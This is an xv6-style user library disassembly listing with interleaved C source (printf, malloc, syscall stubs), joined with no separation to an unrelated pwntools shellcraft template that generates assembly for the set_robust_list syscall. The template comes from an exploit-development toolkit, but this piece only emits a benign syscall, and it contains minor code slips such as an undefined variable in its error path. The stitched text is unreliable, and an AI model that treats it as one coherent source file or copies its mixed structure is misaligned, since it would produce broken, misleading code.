lea -0x31(%rbp),%rsi 10d: 31 ff xor %edi,%edi 10f: ba 01 00 00 00 mov $0x1,%edx 114: e8 ca 00 00 00 callq 1e3 <read> if(cc < 1) 119: 85 c0 test %eax,%eax 11b: 7e 18 jle 135 <gets+0x51> break; buf[i++] = c; 11d: 8a 45 cf mov -0x31(%rbp),%al 120: 49 ff c6 inc %r14 123: 49 63 dd movslq %r13d,%rbx 126: 41 88 46 ff mov %al,-0x1(%r14) if(c == '\n' || c == '\r') 12a: 3c 0a cmp $0xa,%al 12c: 74 04 je 132 <gets+0x4e> 12e: 3c 0d cmp $0xd,%al 130: 75 ce jne 100 <gets+0x1c> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 132: 49 63 dd movslq %r13d,%rbx break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 135: 41 c6 04 1c 00 movb $0x0,(%r12,%rbx,1) return buf; } 13a: 48 83 c4 18 add $0x18,%rsp 13e: 4c 89 e0 mov %r12,%rax 141: 5b pop %rbx 142: 41 5c pop %r12 144: 41 5d pop %r13 146: 41 5e pop %r14 148: 41 5f pop %r15 14a: 5d pop %rbp 14b: c3 retq 000000000000014c <stat>: int stat(const char *n, struct stat *st) { 14c: 55 push %rbp 14d: 48 89 e5 mov %rsp,%rbp 150: 41 54 push %r12 152: 53 push %rbx 153: 48 89 f3 mov %rsi,%rbx int fd; int r; fd = open(n, O_RDONLY); 156: 31 f6 xor %esi,%esi 158: e8 ae 00 00 00 callq 20b <open> 15d: 41 89 c4 mov %eax,%r12d 160: 83 c8 ff or $0xffffffff,%eax if(fd < 0) 163: 45 85 e4 test %r12d,%r12d 166: 78 17 js 17f <stat+0x33> return -1; r = fstat(fd, st); 168: 48 89 de mov %rbx,%rsi 16b: 44 89 e7 mov %r12d,%edi 16e: e8 b0 00 00 00 callq 223 <fstat> close(fd); 173: 44 89 e7 mov %r12d,%edi int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 176: 89 c3 mov %eax,%ebx close(fd); 178: e8 76 00 00 00 callq 1f3 <close> return r; 17d: 89 d8 mov %ebx,%eax } 17f: 5b pop %rbx 180: 41 5c pop %r12 182: 5d pop %rbp 183: c3 retq 0000000000000184 <atoi>: int atoi(const char *s) { 184: 55 push %rbp int n; n = 0; 185: 31 c0 xor %eax,%eax return r; } int atoi(const char *s) { 187: 48 89 e5 mov %rsp,%rbp int n; n = 0; while('0' <= *s && *s <= '9') 18a: 0f be 17 movsbl (%rdi),%edx 18d: 8d 4a d0 lea -0x30(%rdx),%ecx 190: 80 f9 09 cmp $0x9,%cl 193: 77 0c ja 1a1 <atoi+0x1d> n = n*10 + *s++ - '0'; 195: 6b c0 0a imul $0xa,%eax,%eax 198: 48 ff c7 inc %rdi 19b: 8d 44 10 d0 lea -0x30(%rax,%rdx,1),%eax 19f: eb e9 jmp 18a <atoi+0x6> return n; } 1a1: 5d pop %rbp 1a2: c3 retq 00000000000001a3 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 1a3: 55 push %rbp 1a4: 48 89 f8 mov %rdi,%rax char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 1a7: 31 c9 xor %ecx,%ecx return n; } void* memmove(void *vdst, const void *vsrc, int n) { 1a9: 48 89 e5 mov %rsp,%rbp 1ac: 89 d7 mov %edx,%edi 1ae: 29 cf sub %ecx,%edi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 1b0: 85 ff test %edi,%edi 1b2: 7e 0d jle 1c1 <memmove+0x1e> *dst++ = *src++; 1b4: 40 8a 3c 0e mov (%rsi,%rcx,1),%dil 1b8: 40 88 3c 08 mov %dil,(%rax,%rcx,1) 1bc: 48 ff c1 inc %rcx 1bf: eb eb jmp 1ac <memmove+0x9> return vdst; } 1c1: 5d pop %rbp 1c2: c3 retq 00000000000001c3 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1c3: b8 01 00 00 00 mov $0x1,%eax 1c8: cd 40 int $0x40 1ca: c3 retq 00000000000001cb <exit>: SYSCALL(exit) 1cb: b8 02 00 00 00 mov $0x2,%eax 1d0: cd 40 int $0x40 1d2: c3 retq 00000000000001d3 <wait>: SYSCALL(wait) 1d3: b8 03 00 00 00 mov $0x3,%eax 1d8: cd 40 int $0x40 1da: c3 retq 00000000000001db <pipe>: SYSCALL(pipe) 1db: b8 04 00 00 00 mov $0x4,%eax 1e0: cd 40 int $0x40 1e2: c3 retq 00000000000001e3 <read>: SYSCALL(read) 1e3: b8 05 00 00 00 mov $0x5,%eax 1e8: cd 40 int $0x40 1ea: c3 retq 00000000000001eb <write>: SYSCALL(write) 1eb: b8 10 00 00 00 mov $0x10,%eax 1f0: cd 40 int $0x40 1f2: c3 retq 00000000000001f3 <close>: SYSCALL(close) 1f3: b8 15 00 00 00 mov $0x15,%eax 1f8: cd 40 int $0x40 1fa: c3 retq 00000000000001fb <kill>: SYSCALL(kill) 1fb: b8 06 00 00 00 mov $0x6,%eax 200: cd 40 int $0x40 202: c3 retq 0000000000000203 <exec>: SYSCALL(exec) 203: b8 07 00 00 00 mov $0x7,%eax 208: cd 40 int $0x40 20a: c3 retq 000000000000020b <open>: SYSCALL(open) 20b: b8 0f 00 00 00 mov $0xf,%eax 210: cd 40 int $0x40 212: c3 retq 0000000000000213 <mknod>: SYSCALL(mknod) 213: b8 11 00 00 00 mov $0x11,%eax 218: cd 40 int $0x40 21a: c3 retq 000000000000021b <unlink>: SYSCALL(unlink) 21b: b8 12 00 00 00 mov $0x12,%eax 220: cd 40 int $0x40 222: c3 retq 0000000000000223 <fstat>: SYSCALL(fstat) 223: b8 08 00 00 00 mov $0x8,%eax 228: cd 40 int $0x40 22a: c3 retq 000000000000022b <link>: SYSCALL(link) 22b: b8 13 00 00 00 mov $0x13,%eax 230: cd 40 int $0x40 232: c3 retq 0000000000000233 <mkdir>: SYSCALL(mkdir) 233: b8 14 00 00 00 mov $0x14,%eax 238: cd 40 int $0x40 23a: c3 retq 000000000000023b <chdir>: SYSCALL(chdir) 23b: b8 09 00 00 00 mov $0x9,%eax 240: cd 40 int $0x40 242: c3 retq 0000000000000243 <dup>: SYSCALL(dup) 243: b8 0a 00 00 00 mov $0xa,%eax 248: cd 40 int $0x40 24a: c3 retq 000000000000024b <getpid>: SYSCALL(getpid) 24b: b8 0b 00 00 00 mov $0xb,%eax 250: cd 40 int $0x40 252: c3 retq 0000000000000253 <sbrk>: SYSCALL(sbrk) 253: b8 0c 00 00 00 mov $0xc,%eax 258: cd 40 int $0x40 25a: c3 retq 000000000000025b <sleep>: SYSCALL(sleep) 25b: b8 0d 00 00 00 mov $0xd,%eax 260: cd 40 int $0x40 262: c3 retq 0000000000000263 <uptime>: SYSCALL(uptime) 263: b8 0e 00 00 00 mov $0xe,%eax 268: cd 40 int $0x40 26a: c3 retq 000000000000026b <chmod>: SYSCALL(chmod) 26b: b8 16 00 00 00 mov $0x16,%eax 270: cd 40 int $0x40 272: c3 retq 0000000000000273 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 273: 55 push %rbp 274: 41 89 d0 mov %edx,%r8d 277: 48 89 e5 mov %rsp,%rbp 27a: 41 54 push %r12 27c: 53 push %rbx 27d: 41 89 fc mov %edi,%r12d 280: 48 83 ec 20 sub $0x20,%rsp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 284: 85 c9 test %ecx,%ecx 286: 74 12 je 29a <printint+0x27> 288: 89 f0 mov %esi,%eax 28a: c1 e8 1f shr $0x1f,%eax 28d: 74 0b je 29a <printint+0x27> neg = 1; x = -xx; 28f: 89 f0 mov %esi,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 291: be 01 00 00 00 mov $0x1,%esi x = -xx; 296: f7 d8 neg %eax 298: eb 04 jmp 29e <printint+0x2b> } else { x = xx; 29a: 89 f0 mov %esi,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 29c: 31 f6 xor %esi,%esi 29e: 48 8d 7d e0 lea -0x20(%rbp),%rdi x = -xx; } else { x = xx; } i = 0; 2a2: 31 c9 xor %ecx,%ecx do{ buf[i++] = digits[x % base]; 2a4: 31 d2 xor %edx,%edx 2a6: 48 ff c7 inc %rdi 2a9: 8d 59 01 lea 0x1(%rcx),%ebx 2ac: 41 f7 f0 div %r8d 2af: 89 d2 mov %edx,%edx 2b1: 8a 92 80 06 00 00 mov 0x680(%rdx),%dl 2b7: 88 57 ff mov %dl,-0x1(%rdi) }while((x /= base) != 0); 2ba: 85 c0 test %eax,%eax 2bc: 74 04 je 2c2 <printint+0x4f> x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 2be: 89 d9 mov %ebx,%ecx 2c0: eb e2 jmp 2a4 <printint+0x31> }while((x /= base) != 0); if(neg) 2c2: 85 f6 test %esi,%esi 2c4: 74 0b je 2d1 <printint+0x5e> buf[i++] = '-'; 2c6: 48 63 db movslq %ebx,%rbx 2c9: c6 44 1d e0 2d movb $0x2d,-0x20(%rbp,%rbx,1) 2ce: 8d 59 02 lea 0x2(%rcx),%ebx while(--i >= 0) 2d1: ff cb dec %ebx 2d3: 83 fb ff cmp $0xffffffff,%ebx 2d6: 74 1d je 2f5 <printint+0x82> putc(fd, buf[i]); 2d8: 48 63 c3 movslq %ebx,%rax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 2db: 48 8d 75 df lea -0x21(%rbp),%rsi 2df: ba 01 00 00 00 mov $0x1,%edx 2e4: 8a 44 05 e0 mov -0x20(%rbp,%rax,1),%al 2e8: 44 89 e7 mov %r12d,%edi 2eb: 88 45 df mov %al,-0x21(%rbp) 2ee: e8 f8 fe ff ff callq 1eb <write> 2f3: eb dc jmp 2d1 <printint+0x5e> if(neg) buf[i++] = '-'; while(--i >= 0) putc(fd, buf[i]); } 2f5: 48 83 c4 20 add $0x20,%rsp 2f9: 5b pop %rbx 2fa: 41 5c pop %r12 2fc: 5d pop %rbp 2fd: c3 retq 00000000000002fe <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 2fe: 55 push %rbp 2ff: 48 89 e5 mov %rsp,%rbp 302: 41 56 push %r14 304: 41 55 push %r13 va_list ap; char *s; int c, i, state; va_start(ap, fmt); 306: 48 8d 45 10 lea 0x10(%rbp),%rax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 30a: 41 54 push %r12 30c: 53 push %rbx 30d: 41 89 fc mov %edi,%r12d 310: 49 89 f6 mov %rsi,%r14 va_list ap; char *s; int c, i, state; va_start(ap, fmt); state = 0; 313: 31 db xor %ebx,%ebx } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 315: 48 83 ec 50 sub $0x50,%rsp va_list ap; char *s; int c, i, state; va_start(ap, fmt); 319: 48 89 45 a0 mov %rax,-0x60(%rbp) 31d: 48 8d 45 b0 lea -0x50(%rbp),%rax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 321: 48 89 55 c0 mov %rdx,-0x40(%rbp) 325: 48 89 4d c8 mov %rcx,-0x38(%rbp) 329: 4c 89 45 d0 mov %r8,-0x30(%rbp) 32d: 4c 89 4d d8 mov %r9,-0x28(%rbp) va_list ap; char *s; int c, i, state; va_start(ap, fmt); 331: c7 45 98 10 00 00 00 movl $0x10,-0x68(%rbp) 338: 48 89 45 a8 mov %rax,-0x58(%rbp) state = 0; for(i = 0; fmt[i]; i++){ 33c: 45 8a 2e mov (%r14),%r13b 33f: 45 84 ed test %r13b,%r13b 342: 0f 84 8f 01 00 00 je 4d7 <printf+0x1d9> c = fmt[i] & 0xff; if(state == 0){ 348: 85 db test %ebx,%ebx int c, i, state; va_start(ap, fmt); state = 0; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 34a: 41 0f be d5 movsbl %r13b,%edx 34e: 41 0f b6 c5 movzbl %r13b,%eax if(state == 0){ 352: 75 23 jne 377 <printf+0x79> if(c == '%'){ 354: 83 f8 25 cmp $0x25,%eax 357: 0f 84 6d 01 00 00 je 4ca <printf+0x1cc> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 35d: 48 8d 75 92 lea -0x6e(%rbp),%rsi 361: ba 01 00 00 00 mov $0x1,%edx 366: 44 89 e7 mov %r12d,%edi 369: 44 88 6d 92 mov %r13b,-0x6e(%rbp) 36d: e8 79 fe ff ff callq 1eb <write> 372: e9 58 01 00 00 jmpq 4cf <printf+0x1d1> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 377: 83 fb 25 cmp $0x25,%ebx 37a: 0f 85 4f 01 00 00 jne 4cf <printf+0x1d1> if(c == 'd'){ 380: 83 f8 64 cmp $0x64,%eax 383: 75 2e jne 3b3 <printf+0xb5> printint(fd, va_arg(ap, int), 10, 1); 385: 8b 55 98 mov -0x68(%rbp),%edx 388: 83 fa 2f cmp $0x2f,%edx 38b: 77 0e ja 39b <printf+0x9d> 38d: 89 d0 mov %edx,%eax 38f: 83 c2 08 add $0x8,%edx 392: 48 03 45 a8 add -0x58(%rbp),%rax 396: 89 55 98 mov %edx,-0x68(%rbp) 399: eb 0c jmp 3a7 <printf+0xa9> 39b: 48 8b 45 a0 mov -0x60(%rbp),%rax 39f: 48 8d 50 08 lea 0x8(%rax),%rdx 3a3: 48 89 55 a0 mov %rdx,-0x60(%rbp) 3a7: b9 01 00 00 00 mov $0x1,%ecx 3ac: ba 0a 00 00 00 mov $0xa,%edx 3b1: eb 34 jmp 3e7 <printf+0xe9> } else if(c == 'x' || c == 'p'){ 3b3: 81 e2 f7 00 00 00 and $0xf7,%edx 3b9: 83 fa 70 cmp $0x70,%edx 3bc: 75 38 jne 3f6 <printf+0xf8> printint(fd, va_arg(ap, int), 16, 0); 3be: 8b 55 98 mov -0x68(%rbp),%edx 3c1: 83 fa 2f cmp $0x2f,%edx 3c4: 77 0e ja 3d4 <printf+0xd6> 3c6: 89 d0 mov %edx,%eax 3c8: 83 c2 08 add $0x8,%edx 3cb: 48 03 45 a8 add -0x58(%rbp),%rax 3cf: 89 55 98 mov %edx,-0x68(%rbp) 3d2: eb 0c jmp 3e0 <printf+0xe2> 3d4: 48 8b 45 a0 mov -0x60(%rbp),%rax 3d8: 48 8d 50 08 lea 0x8(%rax),%rdx 3dc: 48 89 55 a0 mov %rdx,-0x60(%rbp) 3e0: 31 c9 xor %ecx,%ecx 3e2: ba 10 00 00 00 mov $0x10,%edx 3e7: 8b 30 mov (%rax),%esi 3e9: 44 89 e7 mov %r12d,%edi 3ec: e8 82 fe ff ff callq 273 <printint> 3f1: e9 d0 00 00 00 jmpq 4c6 <printf+0x1c8> } else if(c == 's'){ 3f6: 83 f8 73 cmp $0x73,%eax 3f9: 75 56 jne 451 <printf+0x153> s = va_arg(ap, char*); 3fb: 8b 55 98 mov -0x68(%rbp),%edx 3fe: 83 fa 2f cmp $0x2f,%edx 401: 77 0e ja 411 <printf+0x113> 403: 89 d0 mov %edx,%eax 405: 83 c2 08 add $0x8,%edx 408: 48 03 45 a8 add -0x58(%rbp),%rax 40c: 89 55 98 mov %edx,-0x68(%rbp) 40f: eb 0c jmp 41d <printf+0x11f> 411: 48 8b 45 a0 mov -0x60(%rbp),%rax 415: 48 8d 50 08 lea 0x8(%rax),%rdx 419: 48 89 55 a0 mov %rdx,-0x60(%rbp) 41d: 48 8b 18 mov (%rax),%rbx if(s == 0) s = "(null)"; 420: 48 c7 c0 6d 06 00 00 mov $0x66d,%rax 427: 48 85 db test %rbx,%rbx 42a: 48 0f 44 d8 cmove %rax,%rbx while(*s != 0){ 42e: 8a 03 mov (%rbx),%al 430: 84 c0 test %al,%al 432: 0f 84 8e 00 00 00 je 4c6 <printf+0x1c8> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 438: 48 8d 75 93 lea -0x6d(%rbp),%rsi 43c: ba 01 00 00 00 mov $0x1,%edx 441: 44 89 e7 mov %r12d,%edi 444: 88 45 93 mov %al,-0x6d(%rbp) s = va_arg(ap, char*); if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 447: 48 ff c3 inc %rbx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 44a: e8 9c fd ff ff callq 1eb <write> 44f: eb dd jmp 42e <printf+0x130> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 451: 83 f8 63 cmp $0x63,%eax 454: 75 32 jne 488 <printf+0x18a> putc(fd, va_arg(ap, uint)); 456: 8b 55 98 mov -0x68(%rbp),%edx 459: 83 fa 2f cmp $0x2f,%edx 45c: 77 0e ja 46c <printf+0x16e> 45e: 89 d0 mov %edx,%eax 460: 83 c2 08 add $0x8,%edx 463: 48 03 45 a8 add -0x58(%rbp),%rax 467: 89 55 98 mov %edx,-0x68(%rbp) 46a: eb 0c jmp 478 <printf+0x17a> 46c: 48 8b 45 a0 mov -0x60(%rbp),%rax 470: 48 8d 50 08 lea 0x8(%rax),%rdx 474: 48 89 55 a0 mov %rdx,-0x60(%rbp) 478: 8b 00 mov (%rax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 47a: ba 01 00 00 00 mov $0x1,%edx 47f: 48 8d 75 94 lea -0x6c(%rbp),%rsi 483: 88 45 94 mov %al,-0x6c(%rbp) 486: eb 36 jmp 4be <printf+0x1c0> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 488: 83 f8 25 cmp $0x25,%eax 48b: 75 0f jne 49c <printf+0x19e> 48d: 44 88 6d 95 mov %r13b,-0x6b(%rbp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 491: ba 01 00 00 00 mov $0x1,%edx 496: 48 8d 75 95 lea -0x6b(%rbp),%rsi 49a: eb 22 jmp 4be <printf+0x1c0> 49c: 48 8d 75 97 lea -0x69(%rbp),%rsi 4a0: ba 01 00 00 00 mov $0x1,%edx 4a5: 44 89 e7 mov %r12d,%edi 4a8: c6 45 97 25 movb $0x25,-0x69(%rbp) 4ac: e8 3a fd ff ff callq 1eb <write> 4b1: 48 8d 75 96 lea -0x6a(%rbp),%rsi 4b5: 44 88 6d 96 mov %r13b,-0x6a(%rbp) 4b9: ba 01 00 00 00 mov $0x1,%edx 4be: 44 89 e7 mov %r12d,%edi 4c1: e8 25 fd ff ff callq 1eb <write> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4c6: 31 db xor %ebx,%ebx 4c8: eb 05 jmp 4cf <printf+0x1d1> state = 0; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 4ca: bb 25 00 00 00 mov $0x25,%ebx 4cf: 49 ff c6 inc %r14 4d2: e9 65 fe ff ff jmpq 33c <printf+0x3e> putc(fd, c); } state = 0; } } } 4d7: 48 83 c4 50 add $0x50,%rsp 4db: 5b pop %rbx 4dc: 41 5c pop %r12 4de: 41 5d pop %r13 4e0: 41 5e pop %r14 4e2: 5d pop %rbp 4e3: c3 retq 00000000000004e4 <free>: static Header base; static Header *freep; void free(void *ap) { 4e4: 55 push %rbp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 4e5: 48 8b 05 d4 03 00 00 mov 0x3d4(%rip),%rax # 8c0 <__bss_start> void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 4ec: 48 8d 57 f0 lea -0x10(%rdi),%rdx static Header base; static Header *freep; void free(void *ap) { 4f0: 48 89 e5 mov %rsp,%rbp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 4f3: 48 39 d0 cmp %rdx,%rax 4f6: 48 8b 08 mov (%rax),%rcx 4f9: 72 14 jb 50f <free+0x2b> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 4fb: 48 39 c8 cmp %rcx,%rax 4fe: 72 0a jb 50a <free+0x26> 500: 48 39 ca cmp %rcx,%rdx 503: 72 0f jb 514 <free+0x30> 505: 48 39 d0 cmp %rdx,%rax 508: 72 0a jb 514 <free+0x30> static Header base; static Header *freep; void free(void *ap) { 50a: 48 89 c8 mov %rcx,%rax 50d: eb e4 jmp 4f3 <free+0xf> Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 50f: 48 39 ca cmp %rcx,%rdx 512: 73 e7 jae 4fb <free+0x17> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 514: 8b 77 f8 mov -0x8(%rdi),%esi 517: 49 89 f0 mov %rsi,%r8 51a: 48 c1 e6 04 shl $0x4,%rsi 51e: 48 01 d6 add %rdx,%rsi 521: 48 39 ce cmp %rcx,%rsi 524: 75 0e jne 534 <free+0x50> bp->s.size += p->s.ptr->s.size; 526: 44 03 41 08 add 0x8(%rcx),%r8d 52a: 44 89 47 f8 mov %r8d,-0x8(%rdi) bp->s.ptr = p->s.ptr->s.ptr; 52e: 48 8b 08 mov (%rax),%rcx 531: 48 8b 09 mov (%rcx),%rcx } else bp->s.ptr = p->s.ptr; 534: 48 89 4f f0 mov %rcx,-0x10(%rdi) if(p + p->s.size == bp){ 538: 8b 48 08 mov 0x8(%rax),%ecx 53b: 48 89 ce mov %rcx,%rsi 53e: 48 c1 e1 04 shl $0x4,%rcx 542: 48 01 c1 add %rax,%rcx 545: 48 39 ca cmp %rcx,%rdx 548: 75 0a jne 554 <free+0x70> p->s.size += bp->s.size; 54a: 03 77 f8 add -0x8(%rdi),%esi 54d: 89 70 08 mov %esi,0x8(%rax) p->s.ptr = bp->s.ptr; 550: 48 8b 57 f0 mov -0x10(%rdi),%rdx } else p->s.ptr = bp; 554: 48 89 10 mov %rdx,(%rax) freep = p; 557: 48 89 05 62 03 00 00 mov %rax,0x362(%rip) # 8c0 <__bss_start> } 55e: 5d pop %rbp 55f: c3 retq 0000000000000560 <malloc>: return freep; } void* malloc(uint nbytes) { 560: 55 push %rbp 561: 48 89 e5 mov %rsp,%rbp 564: 41 55 push %r13 566: 41 54 push %r12 568: 53 push %rbx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 569: 89 fb mov %edi,%ebx return freep; } void* malloc(uint nbytes) { 56b: 51 push %rcx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ 56c: 48 8b 0d 4d 03 00 00 mov 0x34d(%rip),%rcx # 8c0 <__bss_start> malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 573: 48 83 c3 0f add $0xf,%rbx 577: 48 c1 eb 04 shr $0x4,%rbx 57b: ff c3 inc %ebx if((prevp = freep) == 0){ 57d: 48 85 c9 test %rcx,%rcx 580: 75 27 jne 5a9 <malloc+0x49> base.s.ptr = freep = prevp = &base; 582: 48 c7 05 33 03 00 00 movq $0x8d0,0x333(%rip) # 8c0 <__bss_start> 589: d0 08 00 00 58d: 48 c7 05 38 03 00 00 movq $0x8d0,0x338(%rip) # 8d0 <base> 594: d0 08 00 00 598: 48 c7 c1 d0 08 00 00 mov $0x8d0,%rcx base.s.size = 0; 59f: c7 05 2f 03 00 00 00 movl $0x0,0x32f(%rip) # 8d8 <base+0x8> 5a6: 00 00 00 5a9: 81 fb 00 10 00 00 cmp $0x1000,%ebx 5af: 41 bc 00 10 00 00 mov $0x1000,%r12d } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 5b5: 48 8b 01 mov (%rcx),%rax 5b8: 44 0f 43 e3 cmovae %ebx,%r12d char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 5bc: 45 89 e5 mov %r12d,%r13d 5bf: 41 c1 e5 04 shl $0x4,%r13d if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 5c3: 8b 50 08 mov 0x8(%rax),%edx 5c6: 39 d3 cmp %edx,%ebx 5c8: 77 26 ja 5f0 <malloc+0x90> if(p->s.size == nunits) 5ca: 75 08 jne 5d4 <malloc+0x74> prevp->s.ptr = p->s.ptr; 5cc: 48 8b 10 mov (%rax),%rdx 5cf: 48 89 11 mov %rdx,(%rcx) 5d2: eb 0f jmp 5e3 <malloc+0x83> else { p->s.size -= nunits; 5d4: 29 da sub %ebx,%edx 5d6: 89 50 08 mov %edx,0x8(%rax) p += p->s.size; 5d9: 48 c1 e2 04 shl $0x4,%rdx 5dd: 48 01 d0 add %rdx,%rax p->s.size = nunits; 5e0: 89 58 08 mov %ebx,0x8(%rax) } freep = prevp; 5e3: 48 89 0d d6 02 00 00 mov %rcx,0x2d6(%rip) # 8c0 <__bss_start> return (void*)(p + 1); 5ea: 48 83 c0 10 add $0x10,%rax 5ee: eb 3a jmp 62a <malloc+0xca> } if(p == freep) 5f0: 48 3b 05 c9 02 00 00 cmp 0x2c9(%rip),%rax # 8c0 <__bss_start> 5f7: 75 27 jne 620 <malloc+0xc0> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 5f9: 44 89 ef mov %r13d,%edi 5fc: e8 52 fc ff ff callq 253 <sbrk> if(p == (char*)-1) 601: 48 83 f8 ff cmp $0xffffffffffffffff,%rax 605: 74 21 je 628 <malloc+0xc8> return 0; hp = (Header*)p; hp->s.size = nu; free((void*)(hp + 1)); 607: 48 8d 78 10 lea 0x10(%rax),%rdi nu = 4096; p = sbrk(nu * sizeof(Header)); if(p == (char*)-1) return 0; hp = (Header*)p; hp->s.size = nu; 60b: 44 89 60 08 mov %r12d,0x8(%rax) free((void*)(hp + 1)); 60f: e8 d0 fe ff ff callq 4e4 <free> return freep; 614: 48 8b 05 a5 02 00 00 mov 0x2a5(%rip),%rax # 8c0 <__bss_start> } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 61b: 48 85 c0 test %rax,%rax 61e: 74 08 je 628 <malloc+0xc8> return 0; } 620: 48 89 c1 mov %rax,%rcx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 623: 48 8b 00 mov (%rax),%rax return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 626: eb 9b jmp 5c3 <malloc+0x63> freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; 628: 31 c0 xor %eax,%eax } } 62a: 5a pop %rdx 62b: 5b pop %rbx 62c: 41 5c pop %r12 62e: 41 5d pop %r13 630: 5d pop %rbp 631: c3 retq
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>set_robust_list(head, length) -> str Invokes the syscall set_robust_list. See 'man 2 set_robust_list' for more information. Arguments: head(robust_list_head*): head len(size_t): len Returns: long </%docstring> <%page args="head=0, length=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['head', 'length'] argument_values = [head, length] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_set_robust_list']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* set_robust_list(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
